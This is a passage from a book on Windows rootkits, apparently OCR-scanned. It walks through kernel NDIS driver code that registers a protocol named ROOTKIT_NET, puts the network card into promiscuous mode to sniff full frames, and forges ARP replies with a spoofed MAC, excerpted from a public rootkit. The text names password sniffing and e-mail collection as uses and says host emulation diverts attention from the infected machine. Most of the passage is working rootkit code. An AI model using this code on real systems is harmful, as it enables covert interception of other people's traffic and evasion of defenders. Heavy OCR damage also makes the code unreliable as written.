whole set of bounce hosts. To avoid this problem, either use only | P addresses for your bounce host, or
make sure your rootkit is aware that any of these hosts might provide bounced data. Another gotchais
that some routers and firewalls use stateful inspection, and as aresult will not allow the bounce packets
in or out.

In most cases, these issues will not be problems. Many so-called stateful inspection firewalls, upon
detecting abounced SY N-ACK packet, assume that a valid connection is established.



Kernel TCP/IP Support for Your Rootkit Using NDIS

So far, we have shown only how to craft raw packets from a user-mode program. Thisisfine for
experiments, but when it comes to creating a real-world rootkit, you must be able to send and receive
raw packets from the kernel.

Using the NDIS interface allows adriver accessto raw packets. While NDIS is best used to sniff
packets, you can also send raw packets using an NDIS driver.

Our example isan NDIS protocol driver. It alowsforging aswell as sniffing of raw packets. Our
protocol driver does not filter packets; we cannot control packets going to and from the host (our rootkit
is not a packet firewall). We get a copy of each packet to sniff, not the original.

To start sniffing, we must first register a protocol, and then define callback functions that will handle
events.

Registering the Protocol

In order to begin sniffing packets, you must register a protocol-characteristics structure with the system.
Thisrequires alinkage argument that specifies which interface (Ethernet interface, wireless card, etc.)
you will be working with. The interface is sometimes called the MAC. In our example, we hard-code this
argument, and we give our protocol the name ROOTKIT_NET.

#i ncl ude "ntddk. h"

/'l lInportant! Place this before ndis.h.

#defi ne NDI S40 1

#i ncl ude "ndis. h"
#i ncl ude "stdio. h"
struct User Struct
{

ULONG nDat a;
} gUser Struct;

/1 handl e to the open network adapter



NDI S HANDLE gAdapt er Handl e;
NDI S_HANDLE gNdi sPr ot ocol Handl e;

NDI S_EVENT gC oseWai t Event ;

NTSTATUS DriverEntry( I N PDRI VER_OBJECT t heDriver Cbject, |IN PUNI CODE_S
t heRegi stryPath )
{

Ul NT aMedi um ndex = O;

NDI S _STATUS aSt at us, anError St at us;

/1 W try only 802. 3.

NDI S_MEDI UM aMedi umAr r ay=Ndi sMedi unB02_3;

UNI CODE_STRI NG  anAdapt er Nane;

NDI S PROTOCOL_CHARACTERI STICS  aProtocol Char;

NDI S_STRING aProtoName = NDI S_STRI NG_CONST(" ROOTKI T_NET") ;

DogPrint ("ROOTKI T Loading...");

Y ou can obtain the list of potential interfaces from either of the following registry keyd 17 :

[17] Code to get TCP bindings can be found at: www.winpcap.polito.it/docs/man/html/Packet_8c-source.html .

¢ HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentV ersion\NetworkCards
o HKLM\SY STEM\CurrentControl Set\Services\Tcpl p\Linkage

For example, one of our test systems has the following linkages:

\ Devi ce\ { 6C0B978B- 812D- 4621- A30B- FD72F6C4A46AF} ORI NOCO Wrel ess LAN |

\ Devi ce\ { EB0AAA3E- 044E- 40D3- ABFE- 64CCO01F2B9B5}



\ Devi ce\ { 5436B920- 2709- 4250- 918D BAED3BB8CF9A}
LAN M ni PCl Card

\ Devi ce\ { 5A6C6428- C5F2- 4BA5- A469- 49F607B369F2}

\ Devi ce\ { 357AC276- DBE7- 47BF- 954D- F3123D3319BD}

Controller (3C905C TX Conpati bl e)

\ Devi ce\ { 6D615BDB- A6C2- 471D- 992E- 4C0B431334F1}

\ Devi ce\ { 83EE41D0- 5088- 4CC7- BC99- CEAS5D5662D2}

Controller (3CO905C TX Conpati bl e)

\ Devi ce\ Ndi s\Wanl p

\ Devi ce\ { 147E65D7- 4065- 4249- 8679- F79DB39CFC27}

\ Devi ce\ { 6AB35A1D- 6D0B- 45CA- 9F1C- CD125F950D6F}

Dell TrueMobile 1150 !

1394 Net Adapter

3Com 3C920 | ntegrat ed

1394 Net Adapter

3Com 3C920 I ntegrated

Weinitialize the adapter name with the linkage name. The format of the string iS\ Devi ce\ { GUI D} .
Note the use of the "L " prefix before the string. This causes the compiler to treat the string as a UNI CODE

string.

Rt 11 nitUnicodeString(

&anAdapt er Nane,

L"\\ Devi ce\ \ { 453CCFAG- B612- 48A2- 8389- 309D3EC35532} "



/1 init sync event for close

Ndi sl nitializeEvent (&Cl oseWai t Event);

theDriver Qbject->DriverUnload = OnUnl oad;

Next, we initialize the Protocol Characteristics structure. This structure includes a series of function
pointers that must be initialized. These pointers specify callback functions for avariety of events that
will occur. There are many events, but the one we are most interested in occurs when a packet arrives
from the network. Thisis how we can sniff packets. Each of our callback functionsis named OnXXX
and OnXXX Done, where XXX is named according to the callback.

PEETTLIL i i
/1 init network sniffer - This is all standard and

/'l docunented in the DDK
NN NN NNy
Rt | Zer oMenory( &aPr ot ocol Char,

si zeof (NDI S_PROTOCOL_CHARACTERI STI CS) ) ;

aPr ot ocol Char . Maj or Ndi sVer si on = 4;
aPr ot ocol Char . M nor Ndi sVer si on = 0;
aPr ot ocol Char . Reser ved = 0;

aPr ot ocol Char . OpenAdapt er Conpl et eHandl er

OnOpenAdapt er Done;

aPr ot ocol Char. d oseAdapt er Conpl et eHandl er Ondl oseAdapt er Done;

aPr ot ocol Char. SendConpl et eHandl er = OnSendDone;

aPr ot ocol Char. Tr ansf er Dat aConpl et eHandl er OnTr ansf er Dat aDone;
aPr ot ocol Char . Reset Conpl et eHandl er = OnReset Done;

OnRequest Done;

aPr ot ocol Char . Request Conpl et eHandl er
aPr ot ocol Char . Recei veHandl er = OnRecei veSt ub;

aPr ot ocol Char. Recei veConpl et eHandl er = OnRecei veDoneSt ub;



aPr ot ocol Char . St at usHandl er = OnSt at us;

aPr ot ocol Char. St at usConpl et eHandl er = OnSt at usDone;

aPr ot ocol Char . Nane = aPr ot oNane;

aPr ot ocol Char . Bi ndAdapt er Handl er = OnBi ndAdapt er;

aPr ot ocol Char . Unbi ndAdapt er Handl er = OnUnbi ndAdapt er;
aPr ot ocol Char . Unl oadHandl er = OnPr ot ocol Unl oad;

aPr ot ocol Char. Recei vePacket Handl er = OnRecei vePacket ;

aPr ot ocol Char . PnPEvent Handl er = OnPNPEvent ;

DbgPrint ("ROOTKI T: Registering NDI'S Protocol\n");

Finally, we call NdisRegisterProtocol to register the protocol -characteristics structure with the system.
This must occur before we can bind to the adapter and start receiving packets.

/1 We nust register a protocol before we can bind to the MAC
Ndi sRegi st er Prot ocol ( &St at us,
&gNdi sPr ot ocol Handl e,

&aPr ot ocol Char,

si zeof (NDI S_PROTOCOL_CHARACTERI STI CS) ) ;

if (aStatus != NDI S_STATUS_SUCCESS)
{
char _t[255];
_snprintf(_t, 253, "DriverEntry: ERROR

Ndi sRegi sterProtocol failed with



error Ox%98X"', aStatus);
DogPrint (_t);

return aStatus;

If the protocol has been registered successfully, we then call NdisOpenAdapter(). NdisOpenAdapter
"connects' us to the specified interface. Once this call is made, the callback functions begin to be called
by the NDIS library. Think of this point in the code as "going live."

Note that NdisOpenAdapter can return a status code of "pending.” This means that the open operation
did not complete immediately. If this happens, the NDIS library will call our callback
OnOpenAdapterDone once the operation has completed. In this way, our code never blocks. On the
other hand, if NdisOpenAdapter does complete immediately, we must specifically call
OnOpenAdapterDone.

It is very important to remember that we must call the XXX Done version of a callback if a call
completesimmediately.

/1 Ndi sOpenAdapt er opens a connection between the protocol
/'l and the physical adapter (MAC | ayer).

Ndi sOpenAdapt er (

&aSt at us, /'l return code

&anError St at us, /'l return code

&gAdapt er Handl e, /1l returns a handle to the binding
&aMedi unl ndex, [l ptr to int which is an

/1l index into a 'nmedium array -
/'l indicates what the MAC shoul d
/'l be 'viewed' as
&aMedi umArr ay, [l array of 'nmedium types
1, /1 nunber of elenents in the 'nmedium array

gNdi sProt ocol Handl e, // the handle returned from



/1 Ndi sRegi st er Prot ocol
&gUser St ruct, /[l ptr to a user controlled

/'l structure. This is up to the progranmrer.

&anAdapt er Nane, /1 name of the adapter to be opened
0, /1 bit mask of options
NULL) ; /1l ptr to additional info to

/'l pass to MacOpenAdapt er

(aStatus != NDI S_STATUS_PENDI NG)

i f (FALSE == NT_SUCCESS( aSt at us))

{

/1 Somet hi ng bad happened; cl ose everythi ng down.

char _t[255];

_snprintf(_t, 253, "ROOTKIT: Ndi sOpenAdapt er
returned an error 0Ox%©98X"
aSt at us) ;

DogPrint (_t);

/'l hel pful hint
i f (NDI'S_STATUS ADAPTER NOT_FOUND == aSt at us)

{
DbgPri nt (" NDI S_STATUS_ADAPTER NOT_FOUND') ;



/'l Renove the protocol or suffer a BSOD
Ndi sDer egi st er Prot ocol ( &St at us, gNdi sProt ocol Handl e) ;
i f (FALSE == NT_SUCCESS( aSt at us))

{

DogPri nt (" Deregi sterProtocol failed!'");

/1l Use for wi nCE -

Ndi sFreeEvent (gC oseWi t Event) ;

return STATUS_UNSUCCESSFUL,;

}
el se
{
OnOpenAdapt er Done(
&gUser Struct,
aSt at us,
NDI S_STATUS_SUCCESS
)
}

return STATUS_SUCCESS;



We have seen how to define and register a protocol. Next we discuss the callback functions that will
handle events.

The Protocol Driver Callbacks

Although they must exist, most of our callback functions do nothing. The only ones requiring specific
implementation are OnOpenAdapterDone and OnCloseAdapterDone. We also add some code to
OnReceiveStub to print information whenever a packet it sniffed.

The OnOpenAdapterDone function checks to see whether there has been an error opening the interface.
If everything isfine, it then attempts to put the interface into promiscuous modethat is, sniffing all
packets on the network. Thisis done using a call to NdisRequest and mode

NDIS PACKET_TYPE_PROMISCUOUS:

VO D
OnOpenAdapt er Done( | N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext
IN NDI S_STATUS St at us,

I N NDI S STATUS QpenError Status )

{
NDI S REQUEST anNdi sRequest ;
NDI S_STATUS anot her St at us;
ULONG aMbde = NDI S_PACKET_TYPE_PROM SCUQOUS;

DbgPri nt (" ROOTKI T: OnOpenAdapt er Done cal | ed\ n");

I f ( NT_SUCCESS( OpenError St at us))
{
/[l Put the card into prom scuous node.
anNdi sRequest . Request Type = Ndi sRequest Set | nf or mati on;
anNdi sRequest . DATA. SET_| NFORVATI ON. O d = O D_GEN_CURRENT_PACKET |

anNdi sRequest . DATA. SET_| NFORVATI ON. | nf or mat i onBuf f er = &alMbde;



anNdi sRequest . DATA. SET | NFORVATI ON \
.I'nformati onBufferLength = si:
Ndi sRequest ( &anot her St at us,
gAdapt er Handl e,

&anNdi sRequest ) ;

el se

char _t[255];

_snprintf(_t, 252, "OnOpenAdapterDone called with
error code 0x%8X",
OpenError St at us) ;

DogPrint (_t);

Next we set an event in OnCloseAdapterDone to indicate to the rest of the driver when a close operation
has completed. This enables the rootkit to determine whether it is necessary to wait for the interface to
close before unloading the driver from memory.

va D
OnCl oseAdapt erDone( I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext ,

I N NDI S_STATUS Status )

DbgPrint ("ROOTKI T: OnCl oseAdapt er Done cal |l ed\n");

/1 Sync with unl oad event.



Ndi sSet Event (&gCl oseWai t Event) ;

VO D
OnSendDone( I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext,
I N PNDI S PACKET pPacket,

N NDI S_STATUS Status )

{

DogPrint ("ROOTKI T: OnSendDone cal | ed\n");
}
VA D

OnTransf er Dat aDone ( I N NDI S HANDLE t hePBi ndi ngCont ext,
I N PNDI S_PACKET t hePacket P,
I N NDI S_STATUS t heSt at us,

I N U NT theBytesTransfered )

DbgPrint (" ROOTKI T: OnTr ansf er Dat aDone cal | ed\n");

The OnReceiveStub function is called whenever a packet is sniffed from the network. The HeaderBuffer
argument will contain a pointer to the Ethernet header. The LookAheadBuffer may contain a pointer to
the rest of the packet.

Warning : the look-ahead buffer is not guaranteed to contain the entire packet. Y ou cannot rely solely
upon the look-ahead buffer to sniff complete packets.

In our example, we ssimply return NDIS_STATUS NOT_ACCEPTED to indicate that we aren't
interested in the packet.



/* a packet has arrived */
NDI S_STATUS
OnRecei veSt ub(
I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext, /* our open
structure */
I N NDI S HANDLE MacRecei veCont ext,
IN PVO D HeaderBuffer, /* ethernet header */
I N U NT Header BufferSize,
I N PVO D LookAheadBuffer, /* it is possible to have
entire packet in here */
I N U NT LookaheadBufferSize,

U NT Packet Si ze )

char _t[255];

U NT aFrameType = O;

/'l Report the frame type to the debugger.

mencpy( &FranmeType, ( ((char *)HeaderBuffer) + 12), 2);

_snprintf(_t, 253, "sniffed frame type %, packetsize %",
aFranmeType, Packet Si ze);

DogPrint (_t);

/'l 1gnore everything.

return NDI S _STATUS NOT_ ACCEPTED



va D
OnRecei veDoneSt ub( | N NDI S_HANDLE Pr ot ocol Bi ndi ngCont ext )
{

DbgPrint ("ROOTKI T: OnRecei veDoneSt ub cal | ed\ n");

return;

va D

OnStatus( IN NDI' S HANDLE Pr ot ocol Bi ndi ngCont ext,
IN NDI S_STATUS St at us,
IN PVO D StatusBuffer,

IN U NT StatusBufferSize )

{
DogPrint ("ROOTKI T: OnStatus call ed\n");
return;
}
VA D

OnSt at usDone( | N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext )
{
DbgPri nt (" ROOTKI T: OnSt at usDone cal | ed\ n");
return;
}
VO D OnReset Done( I N NDI' S HANDLE Pr ot ocol Bi ndi ngCont ext,

IN NDI S_STATUS Status )



DogPrint ("ROOTKI T: OnReset Done cal l ed\n");

return;

VA D
OnRequest Done( I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext ,
I N PNDI S REQUEST Ndi sRequest,

I N NDI S_STATUS Status )

DbgPrint (" ROOTKI T: OnRequest Done cal | ed\ n");

return;

VO D OnBi ndAdapt er (OUT PNDI S_STATUS t heSt at us,
I N NDI S HANDLE t heBi ndCont ext ,
I N PNDI S_STRI NG t heDevi ceNaneP,
IN PVO D t heSS1,

IN PVO D t heSS2 )

DogPri nt ("ROOTKI T: OnBi ndAdapter called\n");

return,;

VO D OnUnbi ndAdapt er (OQUT PNDI S_STATUS t heSt at us,

I N NDI S HANDLE t heBi ndCont ext



| N PNDI S_HANDLE t heUnbi ndCont ext )

DbgPri nt (" ROOTKI T: OnUnbi ndAdapter called\n");

return;

NDI S STATUS OnPNPEvent (I N NDI S HANDLE
Pr ot ocol Bi ndi ngCont ext,

| N PNET_PNP_EVENT pNet PnPEvent)

{
DogPri nt ("ROOTKI T: Pt PnPHandl er call ed");
return NDI S_STATUS SUCCESS;

}

VO D OnProtocol Unl cad( VO D )

{
DogPrint ("ROOTKI T: OnProtocol Unl oad cal | ed");
return;

}

I NT OnRecei vePacket (1 N NDI S_HANDLE
Pr ot ocol Bi ndi ngCont ext,

I N PNDI S_PACKET Packet )

DbgPrint ("ROOTKI T: OnRecei vePacket call ed\n");

return O;



Finally, we implement an unload routine. This routine closes the adapter, and then waits for an event
that will fire when the adapter has been closed (recall OnCloseAdapterDone, discussed earlier). Unless
we wait for the adapter to close, our callback functions may still get called. If we unload the driver
without closing the adapter first, an attempt will be made to call our callback functions after they have
been unloaded from memoryhence, abig fat Blue Screen of Death!

VO D OnUnl oad( I N PDRI VER_OBJECT Driver Qbj ect )
{

NDI S_STATUS St at us;

DbgPrint ("ROOTKI T: OnUnl oad cal | ed\ n");

Ndi sReset Event (&gCl oseWai t Event ) ;

Ndi sCl oseAdapt er (
&St at us,

gAdapt er Handl e) ;

/1 W& must wait for this to conplete.

i f(Status == NDI S_STATUS_PENDI NG)

{
DogPrint ("rootkit: OnUnl oad: pending wait event\n");

Ndi sWai t Event (&gCl oseWai t Event, 0);

Ndi sDer egi st er Protocol ( &St at us, gNdi sProt ocol Handl e) ;
i f (FALSE == NT_SUCCESS( St at us))

{



DbgPrint ("Deregi sterProtocol failed!");

}

/1l Use for winCE - Ndi sFreeEvent (gCl oseWi t Event);

DogPrint ("rootkit: OnUnl oad: Ndi sCl oseAdapter() done\n");

Moving Whole Packets

Aswe stated earlier, the OnReceiveStub function does not always receive whole packets in the
L ookAheadBuffer. We must implement away to ensure that we get the entire packet. Thisrequires a
call to NdisTransportData and the management of some buffer structures.

We create two additional global variables, for a packet pool and a buffer pool. Then, in
OnOpenAdapterDone, we initialize these variables, using NdisAllocatePacketPool and
NdisAllocateBufferPool:

NDI S_HANDLE gPacket Pool H;
NDI S_HANDLE gBuf f er Pool H,
va D

OnOpenAdapt er Done(I N NDI S HANDLE Pr ot ocol Bi ndi ngCont ext
N NDI S_STATUS St at us,

I N NDI S STATUS QpenError Status )

NDI S_STATUS aSt at us;
NDI S REQUEST anNdi sRequest ;
NDI S _STATUS anot her St at us;

ULONG aMbde = NDI S_PACKET_TYPE_PROM SCUCUS;



DbgPrint (" ROOTKI T: OnOpenAdapt er Done cal | ed\ n");

I f ( NT_SUCCESS( OpenError St atus))
{
[l Put the card into prom scuous node.
anNdi sRequest . Request Type = Ndi sRequest Set | nf or mat i on;
anNdi sRequest . DATA. SET | NFORVATION. G d =
O D_GEN_CURRENT _PACKET_Fl
anNdi sRequest . DATA. SET_I NFORVATI ON. | nf or mat i onBuf f er = &alMbde;
anNdi sRequest . DATA. SET_| NFORVATI ON. '\
| nformati onBuf ferLength = si
Ndi sRequest ( &anot her St at us,
gAdapt er Handl e,

&anNdi sRequest ) ;

Ndi sAl | ocat ePacket Pool (
&aSt at us,
&gPacket Pool H,
TRANSM T_PACKETS,

si zeof ( PACKET_RESERVED) ) ;

if (aStatus != NDI'S_STATUS SUCCESS)

{

return;



Ndi sAl | ocat eBuf f er Pool (
&asSt at us,
&gBuf f er Pool H,
TRANSM T_PACKETS ) ;

if (aStatus != NDI S STATUS SUCCESS)

{
return;
}
}
el se
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone call ed
with error code 0x%98X",
OpenError St at us) ;
DogPrint (_t);
}

Using the buffer and packet pool handles, we can now initiate a data move operation in our receive
callback. We check to make sure that the packet is an Ethernet packet, and then store the Ethernet
header. We then allocate a buffer and a packet from our pool. The NDIS _PACKET structure contains a
reserved field where we store a copy of the Ethernet header. The NDIS_PACKET structure also includes
achain of buffersto which the rest of the packet is copied. We allocate one buffer large enough to hold
the remaining packet, and "chain" it to the NDIS_PACKET. Now we call NdisTransferDatato move the
rest of the packet into the chained buffer.



NdisTransferData may complete immediately, or it may return a status code of "pending.” If the
operation is pending, the OnTransferDataDone callback will be called when it is complete. Remember
that if NdisTransferData completesimmediately, we must call OnTransferDataDone ourselves!

/* a packet has arrived */
NDI S_STATUS
OnRecei veStub( I N NDI S HANDLE Prot ocol Bi ndi ngContext, /* our open struc
I N NDI S HANDLE MacRecei veCont ext,
IN PVO D HeaderBuffer, /* ethernet header */
I N U NT Header Buf ferSize,
IN PVO D LookAheadBuffer, /* it is possible to
have entire packet in here*/
I N U NT LookaheadBufferSize,

U NT Packet Si ze )

PNDI S PACKET  pPacket ;

PNDI S BUFFER pBuf f er;

ULONG Si zeToTransfer = O;
NDI S_STATUS St at us;

Ul NT Byt esTr ansf er ed,;
ULONG Buf f er Lengt h;
PPACKET _RESERVED Reserved;

NDI S HANDLE Buf f er Pool ;

PvA D aTenp;

Ul NT Frame_Type = O;

DogPrint ("ROOTKI T: OnRecei veStub cal l ed\n");



Si zeToTransfer = PacketSi ze;

I f( (Header Buf fer Si ze > ETHERNET HEADER LENGTH)

|
(Si zeToTransfer > (1514 - ETHERNET HEADER LENGTH) ))

{
DbgPrint ("ROOTKI T: OnRecei veStub returning unaccepted
packet\n");
return NDI S_STATUS NOT_ACCEPTED:
}

mencpy( &ranme_Type, ( ((char *)HeaderBuffer) + 12), 2);
/*

* ignore everything

* except |IP (network byte order)

*/

I f(Frame_Type != 0x0008)
{

DogPrint ("I gnori ng NON-Et hernet frane");

return NDI S_STATUS_NOT_ACCEPTED

/* store ethernet payload */



aTenp = ExAl | ocat ePool ( NonPagedPool , (1514 - ETHERNET HEADER LENGTI
I f(aTemp)
{

[/ DbgPrint("ROOTKIT: ORI: store ethernet payload\n");
Rt| Zer oMenory(aTenp, (1514 - ETHERNET HEADER LENGTH ));
Ndi sAl | ocat ePacket (

&St at us,

&pPacket ,

gPacket Pool H / *previ ous Ndi sAl | ocat ePacket Pool */

)

i f (NDI'S_STATUS SUCCESS == St at us)

[/ DbgPrint("ROOTKIT: ORI: store ethernet header\n");
/* store ethernet header */
RESERVED( pPacket ) - >pHeader Buf f er P = ExXAI | ocat ePool (
NonPagedPool ,
ETHERNET HEADER LENGTH) ;
DogPrint ("ROOTKI T: ORI: checking ptr\n");
i f ( RESERVED( pPacket ) - >pHeader Buf f er P)
{
[/ DbgPrint("ROOTKIT: ORI: pHeaderBufferP\n");
Rt | Zer oMenor y(
RESERVED( pPacket ) - >pHeader Buf f er P,

ETHERNET_HEADER_LENGTH) ;



nmencpy ( RESERVED( pPacket ) - >pHeader Buf f er P,

(char *)HeaderBuffer,

ETHERNET _HEADER LENGTH) ;

RESERVED( pPacket ) - >pHeader Buf f er Len = ETHERNET HEADER LENG

Ndi sAl | ocat eBuf f er (
&St at us,
&pBuf f er,
gBuf f er Pool H,

aTenp,

(1514 - ETHERNET HEADER LENGTH)

),

i f (NDI S_STATUS_SUCCESS == St

/1 DbgPrint ("ROOTKI T: ORI :

/* | have to release this

RESERVED( pPacket ) - >pBuf f er

[/* Attach our buffer to t

i mportant */

at us)

NDI S_STATUS_SUCCESS\ n") ;

| ater */

= aTenp;

he packet. .

Ndi sChai nBuf f er At Front (pPacket, pBuffer);

/1 DogPrint("ROOTKIT: ORI :
Ndi sTr ansf er Dat a(
&(gUser St ruct . nt at us),
gAdapt er Handl e,

MacRecei veCont ext ,

Ndi sTransferData\n");



0,
Si zeToTr ansf er,
pPacket ,

&Byt esTr ansfered);

if (Status != NDI S _STATUS PENDI NG)

{
/1 DogPrint("ROOTKIT: ORI: did not pend\n");
/[* If it didn't pend, call the
conpl etion routine now */
OnTr ansf er Dat aDone(
&gUser St ruct,
pPacket ,
St at us,
Byt esTr ansfered
);
}
return NDI S_STATUS SUCCESS;
}
ExFr eePool ( RESERVED pPacket ) - >pHeader Buf f er P) ;
}
el se
{
DogPrint ("ROOTKI T: ORI: pHeaderBufferP allocation failed!\!
}

[/ DogPrint("ROOTKIT: ORI: Ndi sFreePacket()\n");



Ndi sFreePacket ( pPacket) ;
}
/1 DbgPrint ("ROOTKI T: ORlI: ExFreePool ()\n");
ExFr eePool (aTenp) ;

}
return NDI S_STATUS_SUCCESS,;

Finally, let'slook at OnTransferDataDone to see how we reconstruct the whole packet. We get the
header buffer that we previously stored in the NDIS_PACKET reserved field, and we also get the
remaining packet data from our chained buffer. The chained buffer does not include the header buffer,
S0 we concatenate the two buffersto reconstruct the entire raw frame. We then free and reinitialize the
buffer and packet-pool resources so they can be used again.

Once we have the complete raw frame, we call an OnSniffedPacket function with a pointer to the frame
and its length:

Va D

OnTr ansf er Dat aDone ( I N NDI S HANDLE t hePBi ndi ngCont ext,
I N PNDI S PACKET t hePacket P,
I N NDI S_STATUS t heSt at us,

N U NT theBytesTransfered )

{
PNDI S_BUFFER aNdi sBuf P;
PVO D aBuf fer P;
ULONG aBuf f er Len;
PVO D aHeader Buf f er P;

ULONG aHeader Buf f er Len;



/1 DbgPrint ("ROOTKI T: OnTransf er Dat aDone cal | ed\n");

FEEEEEEErr bbb i i rrirrir

/1 We have a conpl ete packet here, so process internally.

FEEEEEEEEr bbb i bbb bbb rri i rrrry

aBuf f er P = RESERVED(t hePacket P) - >pBuf f er;
aBufferLen = theBytesTransfered;
aHeader Buf f er P = RESERVED(t hePacket P) - >pHeader Buf f er P;

aHeader Buf f er Len = RESERVED(t hePacket P) - >pHeader Buf f er Len;

FHLEELLE i riirrrirrrr
/| aHeader Buf ferP shoul d be the Ethernet Header.
/'l aBufferP should be the TCP/I P packet

FEEEEEErr bbb i rrrrrir

i f (aBuf ferP && aHeader Buf f er P)

{
ULONG aPos

1
o

char *aPtr NULL;
aPtr = ExAl'| ocat ePool ( NonPagedPool ,

(aHeader Buf ferLen + aBufferLen) );
if(aPtr)

{



mencpy(aPtr,
aHeader Buf f er P,
aHeader BufferLen );
nmencpy(aPtr + aHeader BufferLen,
aBuf f er P,

aBufferLen );

/'l W have a conpl ete packet ready to exam ne.

/[l First parse this packet for enbedded commands.

OnSni f f edPacket (aPtr, (aHeaderBufferLen + aBufferlLen));

ExFreePool (aPtr);
}
/1 DogPrint ("ROOTKI T: OTDD:. Freeing Packet Menory\n");
ExFreePool (aBufferP); // W are full.

ExFr eePool (aHeaderBufferP); // W are full.

/* free buffer */
[ I DbgPrint ("ROOTKI T: OTDD: Ndi sUnchai nBuf f er At Front\n");
Ndi sUnchai nBuf f er At Fr ont (
t hePacket P, &aNdi sBufP); // free buffer de:

i f (aNdi sBuf P) Ndi sFreeBuf f er (aNdi sBuf P) ;

/* recycle */



/| DbgPrint ("ROOTKI T: OIDD: Ndi sReinitializePacket\n");
Ndi sRei ni ti al i zePacket (t hePacket P) ;
Ndi sFreePacket (t hePacket P) ;

return;

The OnSniffedPacket function can do anything you want. Our example just prints some data about the
packet.

void OnSni ff edPacket (const char* theData, int thelLen)

{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet |ength %", theLen);
DogPrint(_c);

}

We now have all the basic building blocks for raw packet sniffing in our rootkit. We could use this for
password sniffing, passive scanning, or e-mail collection. We next discuss some of the effects that are
possible if we also send packets to the network.



Host Emulation

Using the NDIS protocol driver, we now can emulate a new host on the network. This means our rootkit
will have its own I P address on the network. Rather than using the existing host | P stack, you can
specify anew P address. In fact, you can also specify your own MAC address! The combination of IP
and MAC addressesis usually unique to each physical computer. If someone is sniffing the network,
your new |P-MAC combination will appear to be a stand-alone machine on the network. This might
divert attention away from the actual physical machine that isinfected. It may also be used to bypass
filters.

Creating Your MAC Address

Thefirst step we need to take to emulate a new host on the network isto create our own MAC address.
The MAC addressis associated with the network card being used. Usually, thisis hard-coded at the
factory, and it is not meant to be changed. However, by crafting raw packets, it's possible to have any
MAC of your choosing.

A MAC consists of 48 bits of data, including avendor code. When you craft anew MAC address, you
can select the vendor code to use. Most sniffer programs resolve the vendor code.

Some switches can be configured to alow only one MAC address per port. In fact, they can be
configured to allow only a specific MAC address on agiven port. If aswitch is configured thisway, the
actual host MAC and your new MAC will conflict. Thisusually resultsin your new IP-MAC
combination not working, or the entire port getting shut down.

Handling ARP

Forging raw network framesis not without its complications. If you are forging a source | P address and
an Ethernet MAC address, you are required to handle the ARP (address resolution) protocol. If you don't
provide for ARP, no packets will be routed to your network. The ARP protocol tells the router that your
source | P is available, and more importantly, which Ethernet address it should be routed to.

Thisisaso important for switches. A good switch will know which Ethernet address is using which
ports. If your rootkit doesn't handle the Ethernet address properly, then the switch may not send packets
down the right wire. It should aso be noted that some switches allow only a single Ethernet address per
port. If your rootkit tries to use an alternate MAC address, the switch might throw an alarm and block
communication on your wire. This has atendency to make a system administrator put down her
doughnut, grab a crimper, and start "debuggering.” That is the last event you want your rootkit to
initiate.

What follows is example code from arootkit that responds to an ARP request. This code was taken from
apublicly available rootkit, rk_044, which can be downloaded from rootkit.com.

Rootkit.com



The source code for the entire rootkit excerpted here may be found at:
www.rootkit.com/vault/hoglund/rk_044.zip

#define ETH P_ARP  0x0806 /1 Address Resol ution Packet
#defi ne ETH ALEN 6 /'l octets in one ethernet addr
#def i ne ARPOP_REQUEST  0x01

#defi ne ARPOP_REPLY  0x02

/] Et hernet Header

struct ether _header

{
unsi gned char h dest[ ETH ALEN]; /* destination eth addr */
unsi gned char h_source[ ETH ALEN];/* source ether addr */
unsi gned short h_proto; /| * packet type IDfield */
1

struct ether_arp

{
struct ar phdr ea_hdr; /* fixed-size header */
u_char arp_sha[ ETH ALEN; /* sender hardware address */
u_char arp_spal 4]; /| * sender protocol address */
u_char arp_thal ETH ALEN] ; /* target hardware address */
u_char arp_tpal4]; /* target protocol address */

b

voi d RespondToAr p(



struct in_addr sip,
struct in_addr tip,

__int64 enaddr)

struct ether _header *eh;
struct ether_arp *ea;
struct sockaddr sa;

struct pps *pp = NULL;

The MAC address we are using (spoofing) is OXDEADBEEFDEAD. We alocate a packet large enough
for an ARP response. Thisisinitialized with null bytes.

__int64 our_mac = OxXADDEEFBEADDE; // deadbeef dead

ea = ExAl | ocat ePool ( NonPagedPool , si zeof (struct ether_arp));

menset (ea, 0, sizeof (struct ether_arp));

Wefill in the fields of the Ethernet header. The protocol typeisset to ETH_IP_ARP, which is defined
as the constant 0x806.

eh = (struct ether_header *)sa.sa_data;

(voi d) nrencpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));

(voi d) nencpy(eh->h_source, &our_nac, sizeof(eh->h_source));

eh->h _proto = htons(ETH P_ARP);



We dsofill in thefields of a"prototype Ether/ARP" structure.

ea->arp_hrd ht ons( ARPHRD ETHER) ;

ea->arp_pro = htons(ETH P_I P);

ea->arp_hln si zeof (ea->arp_sha); /* hardware address |ength */

ea->arp_pln si zeof (ea->arp_spa); /* protocol address length */

ea->arp_op = htons(ARPOP_REPLY);

(voi d) nencpy(ea->arp_sha, &our _mac, sizeof(ea->arp_sha));
(voi d) nencpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha));
(voi d) renctpy(ea->arp_spa, &sip, sizeof(ea->arp_spa));

(voi d) menctpy(ea->arp_tpa, &tip, sizeof(ea->arp_tpa));

pp = ExAl | ocat ePool ( NonPagedPool , si zeof (struct pps));
mencpy( & pp->eh), eh, sizeof(struct ether header));

mencpy( & pp->ea), ea, sizeof(struct ether_arp));

We send the data over the network interface using a SendRaw function. After sending the packet, we
free our resources.

/'l Send raw packet over default interface.
SendRaw( (char *)pp, sizeof (struct pps));
ExFr eePool (pp);

ExFr eePool (ea);



Here are some useful macros for performing the network address trandlation (htons, etc.) and related
functions:

#define I NETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24))
#defi ne HTONL(a) (((a&0xFF)<<24) + ((a&xFF00)<<8) + ((a&0)xFF0000)>>8)

((a&0xFF000000) >>24))

#define HTONS(a) (((OxFF&a)<<8) + ((OxFF00&a)>>8))

The IP Gateway

Aswe have seen, ARP is used to associate an |P address with aMAC address. This allows usto send IP
traffic to the desired MAC. However, MAC addresses are used only on the local networkthey do not
route over the Internet. If an IP address exists off network, then the packet must be routed. That iswhat a
